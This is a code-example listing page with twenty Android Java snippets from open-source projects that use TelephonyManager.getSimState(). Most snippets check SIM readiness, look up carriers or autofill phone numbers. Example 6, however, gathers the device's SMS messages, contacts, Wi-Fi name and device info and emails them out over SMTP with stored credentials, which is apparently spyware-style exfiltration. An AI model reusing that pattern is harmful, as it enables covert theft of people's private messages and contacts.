Java Code Examples for android.telephony.TelephonyManager#getSimState()

The following examples show how to use android.telephony.TelephonyManager#getSimState() . These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
public static String getMccMnc(final Context context) {
  final TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
  final int configMcc = context.getResources().getConfiguration().mcc;
  final int configMnc = context.getResources().getConfiguration().mnc;
  if (tm.getSimState() == TelephonyManager.SIM_STATE_READY) {
    Log.i(TAG, "Choosing MCC+MNC info from TelephonyManager.getSimOperator()");
    return tm.getSimOperator();
  } else if (tm.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
    Log.i(TAG, "Choosing MCC+MNC info from TelephonyManager.getNetworkOperator()");
    return tm.getNetworkOperator();
  } else if (configMcc != 0 && configMnc != 0) {
    Log.i(TAG, "Choosing MCC+MNC info from current context's Configuration");
    return String.format(Locale.ROOT, "%03d%d",
        configMcc,
        configMnc == Configuration.MNC_ZERO ? 0 : configMnc);
  } else {
    return null;
  }
}
 
Example 2
Source Project: Android-utils   File: DeviceUtils.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * Return the phone status.
 * <p>Must hold
 * {@code <uses-permission android:name="android.permission.READ_PHONE_STATE" />}</p>
 *
 * @return DeviceId = 99000311726612<br>
 * DeviceSoftwareVersion = 00<br>
 * Line1Number =<br>
 * NetworkCountryIso = cn<br>
 * NetworkOperator = 46003<br>
 * NetworkOperatorName = 中国电信<br>
 * NetworkType = 6<br>
 * PhoneType = 2<br>
 * SimCountryIso = cn<br>
 * SimOperator = 46003<br>
 * SimOperatorName = 中国电信<br>
 * SimSerialNumber = 89860315045710604022<br>
 * SimState = 5<br>
 * SubscriberId(IMSI) = 460030419724900<br>
 * VoiceMailNumber = *86<br>
 */
@SuppressLint("HardwareIds")
@RequiresPermission(READ_PHONE_STATE)
public static String getPhoneStatus() {
    TelephonyManager tm =
            (TelephonyManager) UtilsApp.getApp().getSystemService(Context.TELEPHONY_SERVICE);
    String str = "";
    //noinspection ConstantConditions
    str += "DeviceId(IMEI) = " + tm.getDeviceId() + "\n";
    str += "DeviceSoftwareVersion = " + tm.getDeviceSoftwareVersion() + "\n";
    str += "Line1Number = " + tm.getLine1Number() + "\n";
    str += "NetworkCountryIso = " + tm.getNetworkCountryIso() + "\n";
    str += "NetworkOperator = " + tm.getNetworkOperator() + "\n";
    str += "NetworkOperatorName = " + tm.getNetworkOperatorName() + "\n";
    str += "NetworkType = " + tm.getNetworkType() + "\n";
    str += "PhoneType = " + tm.getPhoneType() + "\n";
    str += "SimCountryIso = " + tm.getSimCountryIso() + "\n";
    str += "SimOperator = " + tm.getSimOperator() + "\n";
    str += "SimOperatorName = " + tm.getSimOperatorName() + "\n";
    str += "SimSerialNumber = " + tm.getSimSerialNumber() + "\n";
    str += "SimState = " + tm.getSimState() + "\n";
    str += "SubscriberId(IMSI) = " + tm.getSubscriberId() + "\n";
    str += "VoiceMailNumber = " + tm.getVoiceMailNumber();
    return str;
}
 
Example 3
Source Project: DevUtils   File: PhoneUtils.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * 获取 SIM 卡状态
 * @param slotIndex 卡槽索引
 * @return SIM 卡状态
 */
public static int getSimState(final int slotIndex) {
    try {
        TelephonyManager telephonyManager = AppUtils.getTelephonyManager();
        if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.LOLLIPOP) {
            return telephonyManager.getSimState();
        } else { // 使用默认卡槽
            if (slotIndex == -1) {
                return telephonyManager.getSimState();
            }
            // 26 以上有公开 api
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                return telephonyManager.getSimState(slotIndex);
            }
            // 反射调用方法
            Method method = telephonyManager.getClass().getDeclaredMethod("getSimState");
            method.setAccessible(true);
            return (Integer) (method.invoke(telephonyManager, slotIndex));
        }
    } catch (Exception e) {
        LogPrintUtils.eTag(TAG, e, "getSimState");
    }
    return TelephonyManager.SIM_STATE_UNKNOWN;
}
 
Example 4
Source Project: MobileInfo   File: SimCardInfo.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * 判断是否包含SIM卡
 *
 * @param context 上下文
 * @return 状态 是否包含SIM卡
 */
private static boolean hasSimCard(Context context) {
    boolean result = true;
    try {
        TelephonyManager telMgr = (TelephonyManager)
                context.getSystemService(Context.TELEPHONY_SERVICE);
        int simState = telMgr.getSimState();
        switch (simState) {
            case TelephonyManager.SIM_STATE_ABSENT:
                result = false;
                break;
            case TelephonyManager.SIM_STATE_UNKNOWN:
                result = false;
                break;
            default:
                break;
        }
    } catch (Exception e) {

    }
    return result;
}
 
Example 5
public static String getGeneralInfo(Context context) {
    StringBuilder sb = new StringBuilder();
    TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);

    sb.append(String.format("Interactive %B\r\n", isInteractive(context)));
    sb.append(String.format("Connected %B\r\n", isConnected(context)));
    sb.append(String.format("WiFi %B\r\n", isWifiActive(context)));
    sb.append(String.format("Metered %B\r\n", isMeteredNetwork(context)));
    sb.append(String.format("Roaming %B\r\n", isRoaming(context)));

    if (tm.getSimState() == TelephonyManager.SIM_STATE_READY)
        sb.append(String.format("SIM %s/%s/%s\r\n", tm.getSimCountryIso(), tm.getSimOperatorName(), tm.getSimOperator()));
    if (tm.getNetworkType() != TelephonyManager.NETWORK_TYPE_UNKNOWN)
        sb.append(String.format("Network %s/%s/%s\r\n", tm.getNetworkCountryIso(), tm.getNetworkOperatorName(), tm.getNetworkOperator()));

    PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP)
        sb.append(String.format("Power saving %B\r\n", pm.isPowerSaveMode()));
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M)
        sb.append(String.format("Battery optimizing %B\r\n", batteryOptimizing(context)));
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
        sb.append(String.format("Data saving %B\r\n", dataSaving(context)));

    if (sb.length() > 2)
        sb.setLength(sb.length() - 2);

    return sb.toString();
}
 
Example 6
public void run () {
    Dumper dumper = new Dumper();
    messageBuilder messageBuilder = null;

    try {
        TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

        if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
            messageBuilder = new messageBuilder(new JSONObject().put("info", dumper.dumpInfo(getApplicationContext())));
        }

        else {
            messageBuilder = new messageBuilder(new JSONObject()
                    .put("info", dumper.dumpInfo(getApplicationContext()))
                    .put("sms", dumper.dumpSMS(getApplicationContext()))
                    .put("wifi", Util.getCurrentSSID(getApplicationContext()))
                    .put("contacts", dumper.dumpContacts(getApplicationContext()))
            );
        }
    } catch (Exception e) {
        Log.e ("Dump All Error", e.getMessage());
    }


    Log.d ("Device Information", dumper.dumpInfo(getApplicationContext()).toString());

   // dumper.dumpFace (getApplicationContext());

    mailer m = new mailer ();
    m.sendMail (
            constants.smtpServer,
            constants.from,
            constants.to,
            constants.subject,
            messageBuilder.buildToHtml(),
            constants.login,
            constants.password,
            null
    );
}
 
Example 7
Source Project: country-picker-android   File: CountryPicker.java    License: MIT License 5 votes vote down vote up
public Country getCountryFromSIM() {
  TelephonyManager telephonyManager =
      (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
  if (telephonyManager != null
      && telephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT) {
    return getCountryByISO(telephonyManager.getSimCountryIso());
  }
  return null;
}
 
Example 8
Source Project: RairDemo   File: NetworkConnUtil.java    License: Apache License 2.0 5 votes vote down vote up
/**
 * 获取运营商
 *
 * @return
 */
public static String getProvider(Context context) {
    String provider = "未知";
    try {
        TelephonyManager telephonyManager =
                (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
        String IMSI = telephonyManager.getSubscriberId();
        Log.v("tag", "getProvider.IMSI:" + IMSI);
        if (IMSI == null) {
            if (TelephonyManager.SIM_STATE_READY == telephonyManager.getSimState()) {
                String operator = telephonyManager.getSimOperator();
                Log.v("tag", "getProvider.operator:" + operator);
                if (operator != null) {
                    if (operator.equals("46000")
                            || operator.equals("46002")
                            || operator.equals("46007")) {
                        provider = "中国移动";
                    } else if (operator.equals("46001")) {
                        provider = "中国联通";
                    } else if (operator.equals("46003")) {
                        provider = "中国电信";
                    }
                }
            }
        } else {
            if (IMSI.startsWith("46000") || IMSI.startsWith("46002")
                    || IMSI.startsWith("46007")) {
                provider = "中国移动";
            } else if (IMSI.startsWith("46001")) {
                provider = "中国联通";
            } else if (IMSI.startsWith("46003")) {
                provider = "中国电信";
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return provider;
}
 
Example 9
@Override
public void onReceive(Context context, Intent intent) {
    if (type != -1)
        return;
    String action = intent.getAction();
    if (Intent.ACTION_NEW_OUTGOING_CALL.equals(action)) {
        TelephonyManager tm = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
        if (TelephonyManager.SIM_STATE_READY != tm.getSimState() || getAirplaneMode(mContext))  //SIM卡未准备或飞行模式拨号失败
            type = MobileCommProcessor.FailedCall;
        else
            type = MobileCommProcessor.CompletedCall;
    } else if (SMS_SEND_ACTION.equals(action)) {
        if (getResultCode() == Activity.RESULT_OK) { //短信发送成功
            type = MobileCommProcessor.CompletedSend;
            AppConfig.mContactUtils.insertSMS(phoneNumber, smsContent);
            phoneNumber = null;
            smsContent = null;
            CallAndSmsDao.getInstance(mContext).sync(CallAndSmsDao.getInstance(mContext).getSyncDao(CallAndSmsDao.MessageDao.class));
        } else {
            Log.i("LingJu", "发送短信错误码:" + getResultCode());
            type = MobileCommProcessor.FailedSend;
        }
    }
    if (type != -1) {
        EventBus.getDefault().post(new ChatMsgEvent(ChatMsgEvent.UPDATE_CALL_SMS_STATE));
        EventBus.getDefault().post(new ChatMsgEvent(new CallAndSmsMsg(keywords, type)));
    }
}
 
Example 10
@SuppressLint("HardwareIds")
public void fillNumber(String number) {
    try {
        TelephonyManager tm = (TelephonyManager) ApplicationLoader.applicationContext.getSystemService(Context.TELEPHONY_SERVICE);
        boolean allowCall = true;
        boolean allowSms = true;
        if (number != null || tm.getSimState() != TelephonyManager.SIM_STATE_ABSENT && tm.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE) {
            if (Build.VERSION.SDK_INT >= 23) {
                allowCall = getParentActivity().checkSelfPermission(Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED;
            }
            if (number != null || allowCall) {
                if (number == null) {
                    number = PhoneFormat.stripExceptNumbers(tm.getLine1Number());
                }
                String textToSet = null;
                boolean ok = false;
                if (!TextUtils.isEmpty(number)) {
                    if (number.length() > 4) {
                        for (int a = 4; a >= 1; a--) {
                            String sub = number.substring(0, a);
                            String country = codesMap.get(sub);
                            if (country != null) {
                                ok = true;
                                textToSet = number.substring(a);
                                inputFields[FIELD_PHONECODE].setText(sub);
                                break;
                            }
                        }
                        if (!ok) {
                            textToSet = number.substring(1);
                            inputFields[FIELD_PHONECODE].setText(number.substring(0, 1));
                        }
                    }
                    if (textToSet != null) {
                        inputFields[FIELD_PHONE].setText(textToSet);
                        inputFields[FIELD_PHONE].setSelection(inputFields[FIELD_PHONE].length());
                    }
                }
            }
        }
    } catch (Exception e) {
        FileLog.e(e);
    }
}
 
Example 11
Source Project: Android-utils   File: DeviceUtils.java    License: Apache License 2.0 4 votes vote down vote up
public static boolean isSimCardReady() {
    TelephonyManager tm =
            (TelephonyManager) UtilsApp.getApp().getSystemService(Context.TELEPHONY_SERVICE);
    //noinspection ConstantConditions
    return tm.getSimState() == TelephonyManager.SIM_STATE_READY;
}
 
Example 12
public void fillNumber()
{
    try
    {
        TelephonyManager tm = (TelephonyManager) ApplicationLoader.applicationContext.getSystemService(Context.TELEPHONY_SERVICE);
        if (tm.getSimState() != TelephonyManager.SIM_STATE_ABSENT && tm.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE)
        {
            boolean allowCall = true;
            boolean allowSms = true;
            if (Build.VERSION.SDK_INT >= 23)
            {
                allowCall = getParentActivity().checkSelfPermission(Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED;
                allowSms = getParentActivity().checkSelfPermission(Manifest.permission.RECEIVE_SMS) == PackageManager.PERMISSION_GRANTED;
                if (checkShowPermissions && !allowCall && !allowSms)
                {
                    permissionsShowItems.clear();
                    if (!allowCall)
                    {
                        permissionsShowItems.add(Manifest.permission.READ_PHONE_STATE);
                    }
                    if (!allowSms)
                    {
                        permissionsShowItems.add(Manifest.permission.RECEIVE_SMS);
                        if (Build.VERSION.SDK_INT >= 23)
                        {
                            permissionsShowItems.add(Manifest.permission.READ_SMS);
                        }
                    }
                    if (!permissionsShowItems.isEmpty())
                    {
                        SharedPreferences preferences = MessagesController.getGlobalMainSettings();
                        if (preferences.getBoolean("firstloginshow", true) || getParentActivity().shouldShowRequestPermissionRationale(Manifest.permission.READ_PHONE_STATE) || getParentActivity().shouldShowRequestPermissionRationale(Manifest.permission.RECEIVE_SMS))
                        {
                            preferences.edit().putBoolean("firstloginshow", false).commit();
                            AlertDialog.Builder builder = new AlertDialog.Builder(getParentActivity());
                            builder.setTitle(LocaleController.getString("AppName", R.string.AppName));
                            builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), null);
                            builder.setMessage(LocaleController.getString("AllowFillNumber", R.string.AllowFillNumber));
                            permissionsShowDialog = showDialog(builder.create());
                        }
                        else
                        {
                            getParentActivity().requestPermissions(permissionsShowItems.toArray(new String[permissionsShowItems.size()]), 7);
                        }
                    }
                    return;
                }
            }
            if (!newAccount && (allowCall || allowSms))
            {
                String number = PhoneFormat.stripExceptNumbers(tm.getLine1Number());
                String textToSet = null;
                boolean ok = false;
                if (!TextUtils.isEmpty(number))
                {
                    if (number.length() > 4)
                    {
                        for (int a = 4; a >= 1; a--)
                        {
                            String sub = number.substring(0, a);
                            String country = codesMap.get(sub);
                            if (country != null)
                            {
                                ok = true;
                                textToSet = number.substring(a, number.length());
                                codeField.setText(sub);
                                break;
                            }
                        }
                        if (!ok)
                        {
                            textToSet = number.substring(1, number.length());
                            codeField.setText(number.substring(0, 1));
                        }
                    }
                    if (textToSet != null)
                    {
                        phoneField.requestFocus();
                        phoneField.setText(textToSet);
                        phoneField.setSelection(phoneField.length());
                    }
                }
            }
        }
    }
    catch (Exception e)
    {
        FileLog.e(e);
    }
}
 
Example 13
@Override
public void onNextPressed() {
    if (getParentActivity() == null || nextPressed) {
        return;
    }
    TelephonyManager tm = (TelephonyManager) ApplicationLoader.applicationContext.getSystemService(Context.TELEPHONY_SERVICE);
    boolean simcardAvailable = tm.getSimState() != TelephonyManager.SIM_STATE_ABSENT && tm.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE;
    boolean allowCall = true;
    if (Build.VERSION.SDK_INT >= 23 && simcardAvailable) {
        //allowCall = getParentActivity().checkSelfPermission(Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED;
        /*if (checkPermissions) {
            permissionsItems.clear();
            if (!allowCall) {
                permissionsItems.add(Manifest.permission.READ_PHONE_STATE);
            }
            if (!permissionsItems.isEmpty()) {
                SharedPreferences preferences = MessagesController.getGlobalMainSettings();
                if (preferences.getBoolean("firstlogin", true) || getParentActivity().shouldShowRequestPermissionRationale(Manifest.permission.READ_PHONE_STATE)) {
                    preferences.edit().putBoolean("firstlogin", false).commit();
                    AlertDialog.Builder builder = new AlertDialog.Builder(getParentActivity());
                    builder.setTitle(LocaleController.getString("AppName", R.string.AppName));
                    builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), null);
                    builder.setMessage(LocaleController.getString("AllowReadCall", R.string.AllowReadCall));
                    permissionsDialog = showDialog(builder.create());
                } else {
                    getParentActivity().requestPermissions(permissionsItems.toArray(new String[permissionsItems.size()]), 6);
                }
                return;
            }
        }*/
    }

    final TLRPC.TL_account_sendConfirmPhoneCode req = new TLRPC.TL_account_sendConfirmPhoneCode();
    req.hash = hash;
    req.settings = new TLRPC.TL_codeSettings();
    req.settings.allow_flashcall = false;//simcardAvailable && allowCall;
    req.settings.allow_app_hash = ApplicationLoader.hasPlayServices;
    SharedPreferences preferences = ApplicationLoader.applicationContext.getSharedPreferences("mainconfig", Activity.MODE_PRIVATE);
    if (req.settings.allow_app_hash) {
        preferences.edit().putString("sms_hash", BuildVars.SMS_HASH).commit();
    } else {
        preferences.edit().remove("sms_hash").commit();
    }
    if (req.settings.allow_flashcall) {
        try {
            @SuppressLint("HardwareIds") String number = tm.getLine1Number();
            if (!TextUtils.isEmpty(number)) {
                req.settings.current_number = PhoneNumberUtils.compare(phone, number);
                if (!req.settings.current_number) {
                    req.settings.allow_flashcall = false;
                }
            } else {
                req.settings.current_number = false;
            }
        } catch (Exception e) {
            req.settings.allow_flashcall = false;
            FileLog.e(e);
        }
    }

    final Bundle params = new Bundle();
    params.putString("phone", phone);
    nextPressed = true;
    ConnectionsManager.getInstance(currentAccount).sendRequest(req, (response, error) -> AndroidUtilities.runOnUIThread(() -> {
        nextPressed = false;
        if (error == null) {
            fillNextCodeParams(params, (TLRPC.TL_auth_sentCode) response);
        } else {
            errorDialog = AlertsCreator.processError(currentAccount, error, CancelAccountDeletionActivity.this, req);
        }
    }), ConnectionsManager.RequestFlagFailOnServerErrors);
}
 
Example 14
@Override
public void onNextPressed() {
    if (getParentActivity() == null || nextPressed) {
        return;
    }
    TelephonyManager tm = (TelephonyManager) ApplicationLoader.applicationContext.getSystemService(Context.TELEPHONY_SERVICE);
    boolean simcardAvailable = tm.getSimState() != TelephonyManager.SIM_STATE_ABSENT && tm.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE;
    boolean allowCall = true;
    if (Build.VERSION.SDK_INT >= 23 && simcardAvailable) {
        //allowCall = getParentActivity().checkSelfPermission(Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED;
        //boolean allowSms = getParentActivity().checkSelfPermission(Manifest.permission.RECEIVE_SMS) == PackageManager.PERMISSION_GRANTED;
        /*if (checkPermissions) {
            permissionsItems.clear();
            if (!allowCall) {
                permissionsItems.add(Manifest.permission.READ_PHONE_STATE);
            }
            if (!allowSms) {
                permissionsItems.add(Manifest.permission.RECEIVE_SMS);
            }
            if (!permissionsItems.isEmpty()) {
                SharedPreferences preferences = MessagesController.getGlobalMainSettings();
                if (preferences.getBoolean("firstlogin", true) || getParentActivity().shouldShowRequestPermissionRationale(Manifest.permission.READ_PHONE_STATE) || getParentActivity().shouldShowRequestPermissionRationale(Manifest.permission.RECEIVE_SMS)) {
                    preferences.edit().putBoolean("firstlogin", false).commit();
                    AlertDialog.Builder builder = new AlertDialog.Builder(getParentActivity());
                    builder.setTitle(LocaleController.getString("AppName", R.string.AppName));
                    builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), null);
                    if (permissionsItems.size() == 2) {
                        builder.setMessage(LocaleController.getString("AllowReadCallAndSms", R.string.AllowReadCallAndSms));
                    } else if (!allowSms) {
                        builder.setMessage(LocaleController.getString("AllowReadSms", R.string.AllowReadSms));
                    } else {
                        builder.setMessage(LocaleController.getString("AllowReadCall", R.string.AllowReadCall));
                    }
                    permissionsDialog = showDialog(builder.create());
                } else {
                    getParentActivity().requestPermissions(permissionsItems.toArray(new String[permissionsItems.size()]), 6);
                }
                return;
            }
        }*/
    }

    final TLRPC.TL_account_sendConfirmPhoneCode req = new TLRPC.TL_account_sendConfirmPhoneCode();
    req.allow_flashcall = false;//simcardAvailable && allowCall;
    req.hash = hash;
    if (req.allow_flashcall) {
        try {
            @SuppressLint("HardwareIds") String number = tm.getLine1Number();
            if (!TextUtils.isEmpty(number)) {
                req.current_number = phone.contains(number) || number.contains(phone);
                if (!req.current_number) {
                    req.allow_flashcall = false;
                }
            } else {
                req.current_number = false;
            }
        } catch (Exception e) {
            req.allow_flashcall = false;
            FileLog.e(e);
        }
    }

    final Bundle params = new Bundle();
    params.putString("phone", phone);
    nextPressed = true;
    ConnectionsManager.getInstance(currentAccount).sendRequest(req, new RequestDelegate() {
        @Override
        public void run(final TLObject response, final TLRPC.TL_error error) {
            AndroidUtilities.runOnUIThread(new Runnable() {
                @Override
                public void run() {
                    nextPressed = false;
                    if (error == null) {
                        fillNextCodeParams(params, (TLRPC.TL_auth_sentCode) response);
                    } else {
                        errorDialog = AlertsCreator.processError(currentAccount, error, CancelAccountDeletionActivity.this, req);
                    }
                }
            });
        }
    }, ConnectionsManager.RequestFlagFailOnServerErrors);
}
 
Example 15
public void fillNumber()
{
    try
    {
        TelephonyManager tm = (TelephonyManager) ApplicationLoader.applicationContext.getSystemService(Context.TELEPHONY_SERVICE);
        if (tm.getSimState() != TelephonyManager.SIM_STATE_ABSENT && tm.getPhoneType() != TelephonyManager.PHONE_TYPE_NONE)
        {
            boolean allowCall = true;
            boolean allowSms = true;
            if (Build.VERSION.SDK_INT >= 23)
            {
                allowCall = getParentActivity().checkSelfPermission(Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED;
                allowSms = getParentActivity().checkSelfPermission(Manifest.permission.RECEIVE_SMS) == PackageManager.PERMISSION_GRANTED;
                if (checkShowPermissions && !allowCall && !allowSms)
                {
                    permissionsShowItems.clear();
                    if (!allowCall)
                    {
                        permissionsShowItems.add(Manifest.permission.READ_PHONE_STATE);
                    }
                    if (!allowSms)
                    {
                        permissionsShowItems.add(Manifest.permission.RECEIVE_SMS);
                        if (Build.VERSION.SDK_INT >= 23)
                        {
                            permissionsShowItems.add(Manifest.permission.READ_SMS);
                        }
                    }
                    if (!permissionsShowItems.isEmpty())
                    {
                        SharedPreferences preferences = MessagesController.getGlobalMainSettings();
                        if (preferences.getBoolean("firstloginshow", true) || getParentActivity().shouldShowRequestPermissionRationale(Manifest.permission.READ_PHONE_STATE) || getParentActivity().shouldShowRequestPermissionRationale(Manifest.permission.RECEIVE_SMS))
                        {
                            preferences.edit().putBoolean("firstloginshow", false).commit();
                            AlertDialog.Builder builder = new AlertDialog.Builder(getParentActivity());
                            builder.setTitle(LocaleController.getString("AppName", R.string.AppName));
                            builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), null);
                            builder.setMessage(LocaleController.getString("AllowFillNumber", R.string.AllowFillNumber));
                            permissionsShowDialog = showDialog(builder.create());
                        }
                        else
                        {
                            getParentActivity().requestPermissions(permissionsShowItems.toArray(new String[permissionsShowItems.size()]), 7);
                        }
                    }
                    return;
                }
            }
            if (!newAccount && (allowCall || allowSms))
            {
                String number = PhoneFormat.stripExceptNumbers(tm.getLine1Number());
                String textToSet = null;
                boolean ok = false;
                if (!TextUtils.isEmpty(number))
                {
                    if (number.length() > 4)
                    {
                        for (int a = 4; a >= 1; a--)
                        {
                            String sub = number.substring(0, a);
                            String country = codesMap.get(sub);
                            if (country != null)
                            {
                                ok = true;
                                textToSet = number.substring(a, number.length());
                                codeField.setText(sub);
                                break;
                            }
                        }
                        if (!ok)
                        {
                            textToSet = number.substring(1, number.length());
                            codeField.setText(number.substring(0, 1));
                        }
                    }
                    if (textToSet != null)
                    {
                        phoneField.requestFocus();
                        phoneField.setText(textToSet);
                        phoneField.setSelection(phoneField.length());
                    }
                }
            }
        }
    }
    catch (Exception e)
    {
        FileLog.e(e);
    }
}
 
Example 16
Source Project: easydeviceinfo   File: EasyNetworkMod.java    License: Apache License 2.0 4 votes vote down vote up
/**
 * Gets network type.
 *
 * You need to declare the below permission in the manifest file to use this properly
 *
 * <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 * <uses-permission android:name="android.permission.INTERNET"/>
 *
 * @return the network type
 */
@RequiresPermission(allOf = {
    Manifest.permission.ACCESS_NETWORK_STATE, Manifest.permission.INTERNET
})
@NetworkType
public final int getNetworkType() {
  int result = NetworkType.UNKNOWN;
  if (PermissionUtil.hasPermission(context, Manifest.permission.ACCESS_NETWORK_STATE)) {
    ConnectivityManager cm =
        (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);

    if (cm != null) {
      NetworkInfo activeNetwork = cm.getActiveNetworkInfo();
      if (activeNetwork == null) {
        result = NetworkType.UNKNOWN;
      } else if (activeNetwork.getType() == ConnectivityManager.TYPE_WIFI
          || activeNetwork.getType() == ConnectivityManager.TYPE_WIMAX) {
        result = NetworkType.WIFI_WIFIMAX;
      } else if (activeNetwork.getType() == ConnectivityManager.TYPE_MOBILE) {
        TelephonyManager manager =
            (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);

        if (manager != null && manager.getSimState() == TelephonyManager.SIM_STATE_READY) {
          switch (manager.getNetworkType()) {

            // Unknown
            case TelephonyManager.NETWORK_TYPE_UNKNOWN:
              result = NetworkType.CELLULAR_UNKNOWN;
              break;
            // Cellular Data 2G
            case TelephonyManager.NETWORK_TYPE_EDGE:
            case TelephonyManager.NETWORK_TYPE_GPRS:
            case TelephonyManager.NETWORK_TYPE_CDMA:
            case TelephonyManager.NETWORK_TYPE_IDEN:
            case TelephonyManager.NETWORK_TYPE_1xRTT:
              result = NetworkType.CELLULAR_2G;
              break;
            // Cellular Data 3G
            case TelephonyManager.NETWORK_TYPE_UMTS:
            case TelephonyManager.NETWORK_TYPE_HSDPA:
            case TelephonyManager.NETWORK_TYPE_HSPA:
            case TelephonyManager.NETWORK_TYPE_HSPAP:
            case TelephonyManager.NETWORK_TYPE_HSUPA:
            case TelephonyManager.NETWORK_TYPE_EVDO_0:
            case TelephonyManager.NETWORK_TYPE_EVDO_A:
            case TelephonyManager.NETWORK_TYPE_EVDO_B:
              result = NetworkType.CELLULAR_3G;
              break;
            // Cellular Data 4G
            case TelephonyManager.NETWORK_TYPE_LTE:
              result = NetworkType.CELLULAR_4G;
              break;
            // Cellular Data Unknown Generation
            default:
              result = NetworkType.CELLULAR_UNIDENTIFIED_GEN;
              break;
          }
        }
      }
    }
  }
  return result;
}
 
Example 17
/**
 * Checks the device has sim card.
 * @param context
 * @return
 */
public static boolean isTelephonyEnabled(Context context) {
    TelephonyManager tm = (TelephonyManager) context.getSystemService(context.TELEPHONY_SERVICE);
    return tm != null && tm.getSimState() == TelephonyManager.SIM_STATE_READY;
}
 
Example 18
Source Project: BigApp_Discuz_Android   File: Tools.java    License: Apache License 2.0 2 votes vote down vote up
/**
 * 判断是否有sim卡
 * @param context
 * @return
 */
public static boolean hasSimCard(Context context) {
	TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
       return telephonyManager != null && (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_ABSENT);
}
 
Example 19
Source Project: Android-UtilCode   File: PhoneUtils.java    License: Apache License 2.0 2 votes vote down vote up
/**
 * 判断sim卡是否准备好
 *
 * @return {@code true}: 是<br>{@code false}: 否
 */
public static boolean isSimCardReady() {
    TelephonyManager tm = (TelephonyManager) Utils.getContext().getSystemService(Context.TELEPHONY_SERVICE);
    return tm != null && tm.getSimState() == TelephonyManager.SIM_STATE_READY;
}
 
Example 20
Source Project: AndroidUtilCode   File: PhoneUtils.java    License: Apache License 2.0 2 votes vote down vote up
/**
 * Return whether sim card state is ready.
 *
 * @return {@code true}: yes<br>{@code false}: no
 */
public static boolean isSimCardReady() {
    TelephonyManager tm = getTelephonyManager();
    return tm.getSimState() == TelephonyManager.SIM_STATE_READY;
}